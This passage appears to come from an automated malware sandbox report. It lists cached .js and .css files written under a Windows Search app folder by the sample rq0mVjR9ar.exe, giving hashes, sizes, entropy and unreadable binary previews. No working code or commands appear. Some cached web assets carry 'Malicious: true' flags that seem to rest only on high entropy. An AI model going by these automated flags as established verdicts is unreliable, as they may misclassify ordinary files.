SHA-256:	1AEB5FDA6DC061A9F728C328C0ABF5E5E487E043801D030EDD2531D0F1E53CA7
SHA-512:	8F02B8D43200F21D589CAD02AD4AB6E245C1A311274A002C70A1A2F7DA194AF98BB5F05BCB3F2C651B9AE4DC68ADE56196C8064774A8DF28F8535B432698A2C0
Malicious:	false
Preview:	"use .{........-j.(.A.<..7...`.z.... ..d.7^}y.YX.h..f.^..](..m.+.s;-..g...f..@4....;.2......$1..H.Y}.&.....F.~.........k....C...P/....M.~7;-b'Q..n...O,..k.....(...4.Bq..z..L...p._6(.[P.......+dj?......2....urB...S,.w.H...4Q....c...x....z...(........Z.:.B.rd:.C..FB.s.)__.9L....7-....>..Q1.O..g....f[wV$...I.J.]?TP_....dU7..I..NW}.'...$...g...`.........".....m....f.\|...g...Q_=u...r.q~..3.a.B3....^M.....#6..].l...q...)..YU{.....C(6.i...\.63#..\Z.....\|D.r.....>`..W.2$.,....^.V...../.=.....u....K..`...mQ3=...\..V.......Rm.9.P.3...C..w`..L.;.\8..5P.^hGJ$)...fx.....5...Q.Cv..`..Vo.x.]..g..yuk.]L)......]j..b)~..B..',5P....;.e...O..PZ..,,6..h..5/..3d..T.}.JXr.Ih...5xO.:%..%.f./{(D.J...E.1.0.......}.4...{.m}..Cj.\....3.1.>..7C~Z...zxU.............pwy._....u..UX ...3.F....9}....S.%....m:C....P.&.5U.h...6..YF.#.'`D...&k6GW.~pg]B...d..`.........F.4.W[.n...XY..~c.....Q.1 W..5...3v.oo..5".WC..B..@Z.....3..B\|1.W..~h.g..T7../...@.\|.....N...Q....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\j5xZRlJccnLYwHvUyxqh_abmeEE.br[1].js

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	14700
Entropy (8bit):	7.988963301734021
Encrypted:	false
SSDEEP:	384:KAHt16qp/nADaPMiog1JHXwB2SRLEb3TvA7IFS:R9p/HLoIFQlLsjA7F
MD5:	06C8D7C9F364BE60EEA63551940BE3E7
SHA1:	BFAC9137391927C949F962FD7C7D8700690BC182
SHA-256:	6C94ECA6DBE8C1F09838335DF39025F6C4C4051010978BC7E55553140EAAB4A5
SHA-512:	E597FC645F777DE713BCB9927F5F17146284C645C795C73E345DB9193B5D43400B61F3029FFF9A9402B82D4C7D4031A9AA52E3960E90E3F7136CABAA93D12865
Malicious:	false
Preview:	var W..l..=..l6..2...Mn.F...qv.......c.....z.V......M..:.%7......S'..a).C;L..3....{.(+1M.UQwHx..k...f.C..XFZMc{..'.......Vq....)..9.9.i...y...l..p.....Mj5./...t.....7m...x....a.}&..8.0..Je.L.....u..1F..u.S[.A<...0.K.edx..2.8.,......)J.\..UAPFI...W-..m....YSu.k...%P(d.-NgI..!...&.FR%..b=5........v.c}1..P<...).SMjmD.4#1....`........1.C.Z.....hr6.S%.0..=.....V\|......R...F.Y.uF..D.....gXh....U.. J.v0...)a....:.L....Z...:.PL....]_...i.\..L..q..R.i..b.r.........35........}..z3u.#}.D..;.n..c....%.H..,.........:...........h...s........+..H..mD..}T..3%...........k...L.6"M.....epg..5,......{9.KF..J.................0S......B".(>f#p#...X&`.,.b&......a...7....(x...?J.......i!......v..-.......O.....#.l../...\|^..a..A...wzP...f.....tC....{.c.>.lb#U!.../,M..T.....m..fp.&..?HR...ld@..e$...K..sI.~c]...v.......@z4.Xk..j...y\|.U.....4..X...c....W1B.... .=...$I.]y..n4.(.i......P.... U......>k.O....ffV.j.j.v,..Z..m...U..Q~6c;.....<^,..W..d.<.x.{..=A

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\l1NajuxeuQ3qDy6uCL1VS6rO4Lw.br[1].js

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1825
Entropy (8bit):	7.895901540184552
Encrypted:	false
SSDEEP:	48:Aq1c+wAAYZg12tKjfLl7Wb/AXNGrQrI31EnXK8iD:nK1OifL8bbFa+
MD5:	8A69E721581ADA827CA684CA07D1A33B
SHA1:	B38B92665E7CF6AFE0937C48CA69280B9685593A
SHA-256:	DD9484FB4A84CB062527EBB5A8A2148143B6857A3388A7355F150B7EF462EC97
SHA-512:	41A0DD444A986F18D1679435F6774CEFF2EB80971FA046F1243C5948C1E8010234F772503DE1FA8030DAAC88CC8C1FCE2887601DB3E9A08C9B76861B1CF9AA2C
Malicious:	false
Preview:	var W.c...k...J..d.m...).Z(W..\|iTh[F.[..P..l.s..H.[._.....K=...SD....G.]..I.3Y..I....:.hD.K.J(.F5...........Kt.<.:..Co>7.....R...........)?\|.Sm....K..,DBv.0.8.U.M..t.+D...4...b[.-....$L..6Y.X...zEt.v.I.".ZM....G.;~,PS......9..5C.?.A..Vj....q.4..a@}...le.D..&..Q.'.\......v(.....Zv.........R9W..6........-......?..G.1\4..Kh..r....@).nX..`cv...z...G}i....2].\.6.[Z.....A.}E8.Z.>>d......S.RZ.T....I...y..4...l...S...Z.2..+...../\|.C ...m L....G6.x.t..._;%...t,F..`....M..~.:^..T.8G7....V.{..F#D.<EA{.....a....O0.!...W...E...c6....,.....N.Y..E...::..fL..a.....z.(...Ss.RLk/J.-..kW(`...?;#.+...<".....f"C.". .......H...s.....vG..s..Q.G.\Z.{..=...)WR.._@..B.f..Q....!....NL.#..2...rg......D....9......v.]..:~.......3..Z....... .yi4.!.K..N.m3$....Q.i.....x#R..Ux....?.M.....o.c.R1...FT........>.f..`F^.zO[VW.d..+.8...q....;U..-........h-..Y.`.8...`,.+)(.Z.)}........Dc;0.L...).:m.YS...a.....?.....c(.....9..f.G=*R\./...W^.v=..O.D.).....O..=._.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\lu0mWeI3G2l7mRreeuIGIzuL1cw.br[1].js

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	7794
Entropy (8bit):	7.976976275539099
Encrypted:	false
SSDEEP:	192:CrYagvF3Kyvj1gqAlmJDD02PmslsX1VQxScF5tpSQW4pGr:8LgvFTj1KmtgC+XWJ5tp0uGr
MD5:	2CB3CBC10C35C721B03E71013CB073D1
SHA1:	1262BB70904CCD29D017CA118525697C0DE0465B
SHA-256:	ACC7383EE7BEF3177DBDB51E1A703DBD162C2F86CB3D4E8D8B7FEFD23EC793D7
SHA-512:	4FD8291584B845011A68933F6C4CC85B3A012E53AB26766F28EEE1292829787144120C7FC53305AB288B2B7E729157826E51A46433C1F41663D9BA70F2120A40
Malicious:	false
Preview:	var Wv..~..Ay.p<......PQ.F..t_hc..[..A.:..k..y.r* b..ow.<jUC.....Y-..q.9...&...^F.-...V....-...jH....o;........O...m.z3..Ow.k......}.Im.Ic.,.. G..t.e.y..Hf....~.2.................v.zg"......#..xc....r./...dh....`..v........[e....~-.....w.....-.z......>.%.....i......nM.......g.z.......,CuMP.7.N..;7..(`Q8=.f..Z...N....&.............c.h...........l.PH.3.9...r1.L-.s;d.x..T...{U.J.!........1......x....<.W...+....%G..<.....PQ.......)D.kqi.D#-....!-.lU.e.-..9..1.....s..7....=E.X......\|.B...8e.. .@..!...5.W:......H......U4...TO.Z....9...]QUt....>....?.^.[.].y"......".H.....9.;s.....S/z .........t:..yW@k.F..-....I.*J.H..;o^Z...[...i.[n...^\..I...F0.%.G.1.m!b..G.@ h.,.=..D..G...Y..(.~.8.G...z....o!a.`L.pq.G.l.O....r.^&\|......Q...)...._.T..a.pUN..8_.......i...Bx...GTYc........a,z.I.....sb.....4..E=.`.G..M...{\|.a......c)uj+.e'...4...Z...htr...n~.._V.X.;....!H..........3.H.=s.-=...Pd>R........f5a&] ....KP.d....xS.,.d........Z...qIv.)M..%....\|4.%.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\mb8fkd60iW7q4wvyDIlCm9OOn10.br[1].js

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	44680
Entropy (8bit):	7.996016119705774
Encrypted:	true
SSDEEP:	768:vxDXw4QAWZmAYHr0ML/SWdB0jGKHbKImTvDNLsFLk87fptnX1SeSBBKKt0zmTzbM:vRX9QAWaLv/SOB0tb9mTxLsFntxRAZtU
MD5:	22CDF1BF4B03E434CB1658AE6E5F5308
SHA1:	52F963E05B4CA3294A54C4ED90A28C971110FE35
SHA-256:	5EF6E32D07CAD843750870DB907C28E3778C659EF5607071F6AD4E4116F3FD04
SHA-512:	035106B97731F024927B0F491D3B927BD8F1DA5B8EDE071D8A70B4D863C1BB39F041291B99150623257E60E0F56A4A1344B6C6E0AF99BB56193F7CE2A2F3BC9D
Malicious:	true
Preview:	var M.....Z.r....ov....n_.I.......#...&..m..._..$..J.=..3..T.,.K.5.'..-(.vqm.^./6.Z.!....SIv...X;..).!.g.2....Mi...c......;F.%N.....y....Y...!\|..?\\|.F..r....d.2.i5..q...22.F....}Ue....tS...'....j........{.T.!O....4E....S...4.E.e....c.[..v.T.((....<0.....\....m.h...^[.G-..-.,m.M..\|^uxO.4F....g..D&.....k>..378.....Ca.X....\|=...W..@!~.w.&s".L".\|.I...i..(S.....>~.5w...]......B.......K..b..Y..V......s.?.Y..f.A{W...4)...Z....S.Sd5.'Q.^.%..V....IFkf..B......#....gr..!P.....H................FSN....................@~....EY..^..=N.3Z).....TVj7..]...&I.^.+...6...)oAk@......#Q.`..X.W........%.N...;.......}`uh.+"..\.Q..._.%...O..!....U..L..=........hV.je..u.l........#...&f......Y..~...G...\|..%..j.Az..p.;._Oz....n)x..H..e.E&wY.U..^S.a._.o..j$.,_....q.\|.>..XD.oQ1f<\|..N3C.#7>....c.@..@....qU...9H.,&.@.....6P.....m.s..}~].s5.n#.Z)...c..<w.24.....q..9..<{.<..[..P....~.$..d@...:.#.Y..g..;x. {'poe.....c..;K.....(....Cn?-.&.a<x....H...~=.b...>..3...r".D.u...I.g.."

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\n7LMSoHYYIBGa1VPMlnTzxBvlfA[1].css

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	6235
Entropy (8bit):	7.973311596150051
Encrypted:	false
SSDEEP:	192:9rzBfKJTjxhf8hepvTyfHnNuJUbjnT8da:9ZfKJTrrpQtS+jTV
MD5:	57934147F8B9A9B463C6646DAD28EEA2
SHA1:	E000CBDF455D07C73709959C26C81A73ED6CE1F7
SHA-256:	507072F80AAD7D8DBB6014AD1AC49BF1BA3C1275F401EF518883EFC595DBC1C6
SHA-512:	DD025321B253D0E147AC32792D9530D51CC449B101C803776874E33253A5B82474551C3B145E9CB28760F300BE92D3D244F9BC64D3513A6B636991D1D4FBCC1A
Malicious:	false
Preview:	.b_se.?.....9..&.n..Sw..I..#.&.&$.v.h:.d.bb.B.....VdA9.W......QE*.SE...'&]V}....:.B.....7^.01.\.G<"..~...<.8..yra......cNl.lz.FTt..-..&.`.....J..].G.......g..k{...L...T..f-/.9~!...3.I.$...6]..\|...IY".he8............nr .s%W\|O5..Ao..w.(...8...3.Mu..$....-X..%1m........{..8.E.a..Oo..-.d~..].>.o......s....b....L%UIW6..6..I...Z.f/.H.I.m.....q_...jj.Z...O2#"[..%@V..8....`..E.}E...d).....cYl......_.....w...B.84sp...>3C.\..x7.F.8..~R..s....}.......6e.6.,TL..n.7.<.L.1...).5hX....$../.....$z8&.Lo.V....v.%..\<...b.&5.r...gPR.M,.....b"y.......I....R>.HX...4.]_.yad=....x.........7,Q..P=\|n.U...".i..r..;C?#\|.T.._.q........>.%.z......DN.T.?..FcD.....G>]s...Hja..K%.r.Q.....w._..8W/..Fw.V\|V....6...j.....,e.V........._ M.;N..._.{.4..s..z..._6!F1....B.a....S..t.}[Zv.7.F.m&..L..J.9.n.....6..a.'X.......i7.K..T..#.i,.Vw.:....f0M.n....&.vx..I........F...;..8.r....'..J..........a.p...).......DL.q.w....O.H]#.E~eLn..:..dH..J.{...B....&...b.<..-Q.....X.~(/.........J.._9@..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\onra7PQl9o5bYT2lASI1BE4DDEs[1].css

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	67448
Entropy (8bit):	7.996677112910319
Encrypted:	true
SSDEEP:	1536:IivS20OIVXrNp5KRSv+epiw0KVw2m7nCPQo1Lswj:u20OKxyRSv+r77wQoSwj
MD5:	6D6C24D3A368DEB4055337B3010EFD0E
SHA1:	02CB29CD46F2E92C8C989AE1768A1231FE7ECEE2
SHA-256:	E67A7B88E8415A81F6AE33AFEF68357DF9A7A99CAC9F1D7923D95E451ED5C5B3
SHA-512:	11B1FE1CD905CD173E06FB9906A2B9BCF0FFBDF4FBC545C4952090EA5C44F4F2EF0FEE48F61952333D84D4A38F4D689D83715951A61BA5495A974F4F927B973D
Malicious:	true
Preview:	@fontA-..6.l.....O.?.o......./.k.;...-.zjt...HB...C.....i..>Pf...i&......G@..5.H.aK......Y/....~.0d...<'C.4....(.fp..T.6QO.BD....5".7...9...<.Bj...s.~L.%.4J.f.-]r.:.....8@;.DR....TD2..p?....M}... .2.G.U...m..CbRa.....0G.,.M..en.../9l\|.]..L..PL9Pz....... .H............UL.D...."..~)..5.xV.....>.C8.b1 ..F.1......;...B..Tm...k.....L......\.8..~5...^.s..i..0/.....UB+h.._...&.hL....F..1]..n8%...6....}.+u.l.W.r...!......p.4.I;y..j...6).@..,....j.1Kq.............U...."..(...I\|^.....h~...+..q....nmsG.?...]........7.@..$.]XK0...d.......,O..^..7I..g.]n\c........c...I.....G.....K.ASe.Q.{Vq.2Q....8.Y..b(.W.N...Ak...4.?..T'D.!.n.......<.F.}.`a....Q..{......&=mF.UQK....b....7.#.....7.^g..i...t.....5>S/-A.E.E..J..t....L.?B..oH8......b...0...H..>..7ZR....w....M.t,..-G.Y.D...u..'...AA.....c..>i..>..../i....v...euY.'^^<.\|......_....b.\..)'S.C..G... .1...NZj.C../....9\|.L.'5,.......@.2.?{7..HE8oU......e.M.@.i:%.(.(y......a.<zI./J.......w..._#..Z..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\pqKAmz-4RXsuUf_YO-8_wQDepUQ.br[1].js

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	40292
Entropy (8bit):	7.995547063056378
Encrypted:	true
SSDEEP:	768:JC+iMvt8yuBK2qIDhmYtVvSk7Jc0t2zB8O0N+SCZY0EQ1o:JCju8yuNDUYtxdcIyaN+SCm0nO
MD5:	7B4717488679874B906680D75EEABF89
SHA1:	79F519BEFE939FC008F2EDE08FBE0B789BA61AF1
SHA-256:	1B5789F69542F47F00CDDE305BB71EF7F16951F81ECE8DADF278278D3875F1D7
SHA-512:	32DEA7440849B8CE111F2E28FF4813729F35B0D6B00C9E5E0450BE148547AED9DBD12AF09D668B172069C155174C47CBBEC7CF2FBA14EEB3D3CF2931F4D512FA
Malicious:	true
Preview:	var W../.a..dpF.{............S....c.j......M. ....v...N.T.D..Q.:.......cQS.....u..p_.N!rQ....5.&.]..~....&.`J!qj.. .m..KMN...-..o^.uc8..2.\gl..f..&...??.R.k...o.uh<C..g....:b..SBz(.....U....].z ..........qu8....A..".0PH9.5..vn!h.M..T...B.......k..}..t....kmb..J.&.n.,?.s..hL...".qt......2..m.g.......I...1....H.....I....U<..Cl.`..A.......U......%....XSS#.{.....S.h...x}.....NE...9+T.X_.yb.[C...=..F..`.Q_x..+..E...^..I8...=.`...t".~..\|...O?..U.WeG.ptzgN... c..Gy.t.-.Y9....1...c..S.D.n.n~..]..t.Vs-\|m.Wg...b.I!zz..$.A>..1.&P..(...9Fh5.Y..e!.@[.!2yM.E..[T....H.Y.KT.=A'...&.vJ...d..U...L.0.Xm......#.`..;.PSp0..q.@6..=..3u0..'%....]s.7....Q.m)zu....V......z.".....g..i....\|z.2.."....b.E.{-..B...g#..'.K.".d.].T5..J..tQ..U.Z2....K......../...m..F.J..f.G..r..Z}.....\...c8........jk..f(Mz...v..mJuJaH...M_%.(....o$.%.9./ .Q\|..U.......S#&.E....Z........v.\|J.....x?@t7.K......y....}&....f.g{.\..fb...m..^~i*....N.....<.7I.H}-.....[`.s..M..B.axe....n...I$m4.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\q11NvYzJks_3Zy5BRKPM9baeQ7M.br[1].js

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2193
Entropy (8bit):	7.916869688385815
Encrypted:	false
SSDEEP:	48:qIoeIzC0ZeeXVk4ijDfvD5OK7Yx+hZrTTjOFbg4PZUKhj8qs7yjjaGxiD:qIoFvZjXkfL5dNjMk4Rvp8quE+H
MD5:	61B109AB02B4994C2EB21C0EA0C6F07C
SHA1:	0D56B121748A7969C42845A885B81931CE1F8200
SHA-256:	B71192D11A0D6FF374773775821B02EC6945F003733FCD8AAD166B002743D29F
SHA-512:	CD235DB2E6619F42E2B0B968B1257B1A5DB4241FDBA9F9D4EE064B29E9317DDA3151A950AC7C4E094EB43B417DEC332A3B77DD97FE2E628B917E18C655F85E82
Malicious:	false
Preview:	var W.g.o<.......i...........+..C...L.8..A....5S.\|.........0.8n..<3Q1.....-^}]o"`.r(...........!5tQ3..i.1..>.G..I.....I.s...C.T....1....J..%...:L.......D%j.$!L#.DN.i..z..jkD!:.l.?...?...]...\|..i.....5...G.r.ez}Q...2<:@..N. V..............m..f.i.:].C.?5+j........o.....@JI..S.3.......e^...].R..u.`..3(W._.8n...Rx.>/.B(.EE.nb.\m.Z..M.....A_.<r:)-..~UlbdI...~).SZ...w..d...^&...\|.0d.@..A-r.iM......7T..3.-........"A.O.E...g...)........l9.4...U..T.}A..:....\..-.&..J..@.#.<....m..{.p`.c..m. ..2p.f.. P.G.=...T..e...j...e..T........;.......R....=$~.Q{......D.M.^.n.GN...........H........(.P...gB....k:.......a...k.......Rd#B.Pr.....'.I.7..:}..nU. o.....1l..8.S.6.-.v.fo\|..l...Z....E..E...X....R. ....i.pS..fPv..l....@.$KY...R.\|..t.@1.u.}.....>F..~......:..x\|.k...{....V........).M..#B~^g.0........q.f......1.]..Nv=h.....S.u.(^..Y.7.j..m9.Z.0..L.I.5."....i_.$....xc..u.r.d[f.......\|...z.q.cBNm.v"E.B..~_..-!T..\.F...VMr.oI..4}.3e.q....7...-..K7...d....,..}.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\rUQ8SSsIzKcgb77SIOCfnAbpfB4.br[1].js

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	447
Entropy (8bit):	7.383632275559234
Encrypted:	false
SSDEEP:	12:i2UxNL9+oZzsjjPSB2cu5/M4GuN1qYxN/4enixpZacii9a:izxNcoZAj7g2D5VLNB/hiTkbD
MD5:	F71FB433D5E6F11C080B494624E46EB0
SHA1:	E61AC575D41B6603E855510A5270BFAC28EA61D5
SHA-256:	43F6FF2ABC54A99B8486476D4F74E45A7ED1C1FAA4B6C933B794E31EE148FD0E
SHA-512:	DE0BF29840558C5A9F4A1C417808C7FBBCBFDECCCDF77EF975759DCA117362BB3D6DBEE0148FCED945B1EB48A2156E35CDCB9256469DE57A2E0ECC879DE3DC4C
Malicious:	false
Preview:	var S}V..<...q.......q.C.(.l..2..U....j...ya..\|?ZY93...5.W......[.....T...H.ie....C..j.....]J.9.%.T..r..a.N....'.'W......NQ=-...2.."P5u"..P..R..3j[?.b.... .....h...$@l..`......~.h9*N..........Wr#b.At...k.\|[..;.Y....0.8.\|.....Yi...V.;l.4.$Q...B.E...sxV..d..v6.V.!..1.WV.N#Z...x`......cm4P1...d..(.....6...p..iN.aj......Z%.)..`..}F....\.I.x...,a...r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\tIa_X3QDXj2Izj2HpQ_Mo9f1WiM.br[1].js

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	126434
Entropy (8bit):	7.998370069899124
Encrypted:	true
SSDEEP:	3072:2qQR9/k2C5QCjJ0XAx3n7CmZuPFGWkcg4v6UmFaJpFt27ybOZ:ZuK2d+YAx3FvcNskOZ
MD5:	C449B84A9ABCC52C3EAF1388E601D2BB
SHA1:	F1AC3F05F0FEF5CBDDCAE32E9418F28C02AC3F8D
SHA-256:	6A5DD9E335579FC892A8696D295726F94331ADE2D718D51BAAF6D5E7AB292889
SHA-512:	F1C56EF4FBA8E9A22A98FB5E2A03A915B9E4FE0CA6C0C6339D65640BC594CEF0397C5844214BBF0E95C7EB0BBBBEE117A2F31C4D237752F7042431DE1A21DF52
Malicious:	true
Preview:	(func.....amt."..x[4..i/.}./..RQ....Q6......".RB.E.....B........bi" ...D......\|5g..g.)..c.....$....x...o.....l ...D.\E..u6^._b..-W.w8:Uw<.L..)...\|&.V..........-~[!....K.i....\^j.:@.."{K....T....S.NJFi...N..)..9....ZBi..x.A..p..z......:V.#o.y.'8.........D..mn..H..a@.3L....v...NcQA..x..UG..#y.H.Oh..j. ...4>...w.z..........ys8...q...x.D1j...).._..~j..UA....._...."........ .wL_. p.1X....&j...Ov..V.....}..\|\|R..eW......=.....(.>... .2Q..2.m.....lT.rm.....M...#.MT..P3.'.X....."l?.(%..Sd.....{..........P.n....z.o.:B..j.?.2K\WG...r..Uk.W..JN.8.W5rq/jw.~...t.gq....{...Jr.ZP.6ym...L......]"2..G%M...\..1.Z4M....&.\qqB...K../<..h>.....;.nc...T.^R).!.]..}...L.(.;.J....O. NE2.K......+..;.!..=i%^y.n..G.-T....hQf.N.P.r.&...JEg..X3.+.H.8O.^.........F.9..*O..;XdK...-..g=.(..H.......d..?....^wz&`:...L...s..3...%..@0,dB..UO.....#.b$.Cu..Vz.'(..B..D:....8m......K.....T..B.....y.^P..&3(...I?O}.K.?W..[.7.."j7..v.1....>.....RbC^..+.....m..!.zw.xJ...8.....2..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\u6a26xOewOMoU1ZXcaLiQPZApTU.br[1].js

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1949
Entropy (8bit):	7.911359815782248
Encrypted:	false
SSDEEP:	48:0m2UHWfQGYPiVQI644LlpctZ/UhIiPm2/bc5kMTuGiD:5HHWfn1+I8j24IH2guMg
MD5:	C3A85D24410EE1E226E0C5214D197A9C
SHA1:	98E5DBFB05FC335CF358E91993B6D9E75AE99962
SHA-256:	5CD5BC8C3D0FD89609F5BAF949423965002ACA22AC18C07299F4275EF6209C13
SHA-512:	F75253378E0B12D862C395CB5315CB76E3FD12130AB5FB9DA6C6ACC3CB563A857766AC84BEBFD1B39ADB09593D1818A61BCBD2765C210CD90D2299AFB19A7751
Malicious:	false
Preview:	var W.9.eP^.Q.3..f....<..e...P.D#.......5.pj..[..4c.`..5..!\..Sp.....D.......=..xcnSh...^}..>.6...f........\|[P..l"..........@.-'V[.........Qa.X.@.b..1hcw..O..3...LB!..E....~....q....# ......^..W..........G.0...I.X....R...mo.+./.8.....j.{.p6..t.....R.g.w...E.....J..C...Z..&zy.............Z.....l..... ...w.T...q..7.).......n...j...Sl^....v..e.b..>../....{q..4.....FU.a.......K\.$`]u.WR.5-...az=..!Y.c3..10.F..:....0GFf9#...O...k~.[.p{.O..........q..b.".......ek_(...v:.0...n`Q./.\|.....Ev?bj..b^..\|Z/..'z.8.....&.;.%.P1@D.Z.....Ck8.m4>...Q!<.t.&.....?2+O_...Y.Y.c.BH.e.'.x<9(...j.`....t...zRi..#`....t...c~...".vM....[.....k..]p5...EAL._...!+..>{Mj....'.d.m2.-...(r.v}UX..2..G....R.....A~.;.KbZ......B.VP..\|....[.\|.r..]F..!....D.."!...K&......."v..)..s.C......'8iv....8w.X..+....f...2....{....U..R.M#-..q.W.h..V.\'...V.d^@r..3D....9.\..6..$......!a.^...(...tH/...4K..+Z?.p.#..>......../0...;.k(b..w....s..`5..-. !.......-.v.^.......}{....`6?.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\uANxnX_BheDjd2-cdR8N9DEWlds[1].css

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	20755
Entropy (8bit):	7.990814455423523
Encrypted:	true
SSDEEP:	384:35iEp8gNfnorGJZMkmy+hFRKeZ7lJVXZ5dkQ7210d7OySEhJTffAZ:35n8ofnorEZetlJVp59sLLwdM
MD5:	B7FDA5359718654E74DE5074F6D29B33
SHA1:	29322327810481D77E450DF3FC39C3875EC0DBF6
SHA-256:	BEF09F0C56B48474372B28CF953AA348C5CCC9C5A3BAF79491B2EF9F247FD719
SHA-512:	CA57538D10F01A5ECA6EF74D348000BB25AEAE4637F54E12C3699125F08E79E240D70704FBF4578D25FD7D0F5935DA6A776922DD134011344B91DDC7C56DCE6F
Malicious:	true
Preview:	.sw_pt.}u\|......?..1oX...2.e .\|.t..X....K.........\|"\|.....e....f.6s..\.4me..Lw.J..i.{....3..h%......Q..1@....C......Y....a..{.$."..)..GBU_......1...E..M..y%..m.L..%.,.{ ....g%.v..cn.h=%=..@.....b:.\|.{...........h&.......=:s.d.c+....)S..Qi_.B.@?.6~...F.J..._....f......bL..BO<.J..qJ.h..,>D6$G....6.y....,......Pm.....BI\].Y.D...<.2R. ......3....o.&..z..<........Z?Cyk..:o.{...C.g...p.F\|.I...e..)4p......#k.^9...T.{.&..S...:TC.Y.r.....,..9..aa.9.0+...O.e......fK.....u..H#o.i.0.<...m....t4..o.V.8.a.+^...r.c....:[..9.9..Km:...+.B.>..-....F..,.:.'.$........:0%E47\|K.S..z:/'..t.7........P.O:iXa...a.w...$...K..0R.Y.........\|.p........b..j+.}F$..4...I..' .c.C.f..Ze3...KNn.o.. I.....f..K..."v.>....9....S...@....R.?V.~W.,.....1g.T_......r9..d~jm.....].Xd\.6..s.TB..lT......FX.F... .1.....Yp.;...R..}.fs ...4n...?..y..+aYh@E.N5....9/b.}.r..N&...z.l.)....Ae..(y.i..'..k.!.wV..w.N^:w'.T...F.I.;*6kW...n..h..s.@r5Yi#.B..y.z#Q....z.g/..98.d...."....".U

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\wokAADULDNIRJUcpGmEjmH9QAB0.br[1].js

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	254754
Entropy (8bit):	7.498558527468592
Encrypted:	false
SSDEEP:	6144:5rvCIaHT+L3Ic6bnJpKKs0NKN9LfdfwA0k3LZBDYguVb:pCXT+L3BYpKKspN9zdfI
MD5:	F04699EEFABFE2ACB3047D904D5EB662
SHA1:	1772BF57DAD0C7211AC2C713BD92E3B8350FF6B8
SHA-256:	55FFFB35C8541F936C55C49168B3BE397CA417E074EBDFCDEE34D9DF0A635BC6
SHA-512:	03AB938F0113ACE45A711FF9432BF31667097FE4918FE937BA93D12E30397281EA7FEFB3837B605EF8A96CBFCFB1C4ACC6359B75FA305BA88CB1BAF869D01B4C
Malicious:	false
Preview:	var W.h..V...L..w..!....q....YN....X..=a.zq..g.:B....M....3U.6..lO.u`W'.&.ep....f".....;......qF...=.......$:.<.f...E0./N...,.B. .k.O.l.......T..W.":.Z..h.....]....k....:X..d..mhS...R.]...lf.7.E...bX >.e...B4..((.=...aZ.!8..G.9.U...h....&..e....m)..g.....R\|.l..&...B......RrT.e...(.<.....R.1.........&..E..........5&...*uU.G1M.a.....iC.' ..+\.].......a.c.%..\|.XUj....(...i.kH3T.r..I!&..TDm....W..n5...1...Ho.Y.../....E...n.k.D2T..........;..{.....F...+.L......kA..I!@o.]_.B.H..wM..o....?l..4\.j9"xbZ3.I.0....A......'..T^.......W7..T...9R:h....#f@g...t.....n9<...x].(..........R........@..<.{Qo.b.....W.p.....TB...s.....#...`.hM.S/....j7.Zd..a.%idyI.H..}x...0...u...S.s(}..}.B_..MLG.u.$...W.a..Y.i..z...J.!...PC.T..0.....0E....X.x.Qd..1...F(..,.+.C..... .%B[..u....w.....SlM..4...F`...lp..t.=F..E(:I..LL'...Z..()^k..h.gdn.....x..E.h..O....o....Dx.i..)$>.};...:.h.....X\.$G.k......t..........g.(.......U.%........]@<A#"9..i-(.l.&S..6.V....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\xIW3D5oXL8xIpGjHoiGVJS_B4mg.br[1].js

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	58122
